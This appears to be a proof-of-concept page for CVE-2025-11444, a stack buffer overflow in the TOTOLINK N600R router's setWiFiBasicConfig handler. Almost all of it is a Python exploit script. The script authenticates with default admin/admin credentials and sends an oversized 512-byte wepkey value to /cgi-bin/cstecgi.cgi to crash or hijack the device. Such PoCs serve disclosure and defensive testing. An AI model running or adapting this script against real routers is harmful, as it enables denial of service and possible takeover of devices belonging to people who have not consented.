CVE-2025-11444：TOTOLINK N600R setWiFiBasicConfig缓冲区溢出漏洞

# CVE-2025-11444 PoC - TOTOLINK N600R setWiFiBasicConfig Buffer Overflow # Vulnerability: Buffer overflow via wepkey parameter in setWiFiBasicConfig function # Affected: TOTOLINK N600R <= 4.3.0cu.7866_B20220506 # File: /cgi-bin/cstecgi.cgi import requests import sys TARGET_URL = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Buffer overflow payload - adjust offset based on target binary # The wepkey parameter is vulnerable to stack buffer overflow PAYLOAD = "A" * 512 # Oversized wepkey value to trigger overflow def exploit(target_ip, username="admin", password="admin"): """ Exploit CVE-2025-11444: Buffer overflow in setWiFiBasicConfig via wepkey parameter """ url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Step 1: Authenticate to obtain session cookie (low privilege required) session = requests.Session() login_data = { "username": username, "password": password, "login": "1" } session.post(url, data=login_data) # Step 2: Send malicious request with oversized wepkey parameter # The setWiFiBasicConfig function processes wepkey without proper bounds checking exploit_data = { "topicurl": "setWiFiBasicConfig", "wepkey": PAYLOAD, # Trigger buffer overflow "wepkeytype": "1", "wepkeylen": "64" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}/" } response = session.post(url, data=exploit_data, headers=headers) print(f"[*] Exploit sent. Status: {response.status_code}") return response if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" exploit(target)